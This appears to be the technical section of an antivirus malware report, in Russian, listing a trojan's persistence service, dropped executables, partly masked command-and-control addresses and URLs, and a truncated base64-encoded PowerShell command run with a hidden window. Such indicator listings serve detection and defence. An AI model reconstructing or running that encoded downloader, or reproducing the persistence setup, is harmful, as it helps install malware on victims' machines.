Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\f3ahvoas] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\f3ahvoas] 'ImagePath' = '"%WINDIR%\SysWOW64\esent\f3ahvoas.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABUAFUATwBPAEYAagBqAGQAPQAnAEoARQBPAFUAUwBkAGUAawAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBDAFUAUgBpAHQAeQBQAGAAUgBvAFQAbwBDAE8AbAAiACAAPQAgAC...
- %HOMEPATH%\285.exe
- %WINDIR%\syswow64\esent\f3ahvoas.exe
- %HOMEPATH%\285.exe в %WINDIR%\syswow64\esent\f3ahvoas.exe
- '73.##6.193.136':80
- '18#.#4.252.13':443
- http://re#####cadoscarrion.com/wp-includes/EiQ/
- http://18#.##.252.13:443/sjpoW0KV0BfWN1/XlKCmFox/bQskehbCh0PV/ via 18#.#4.252.13
- DNS ASK re#####cadoscarrion.com
- '%HOMEPATH%\285.exe'
- '%WINDIR%\syswow64\esent\f3ahvoas.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABUAFUATwBPAEYAagBqAGQAPQAnAEoARQBPAFUAUwBkAGUAawAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBDAFUAUgBpAHQAeQBQAGAAUgBvAFQAbwBDAE8AbAAiACAAPQAgAC...' (со скрытым окном)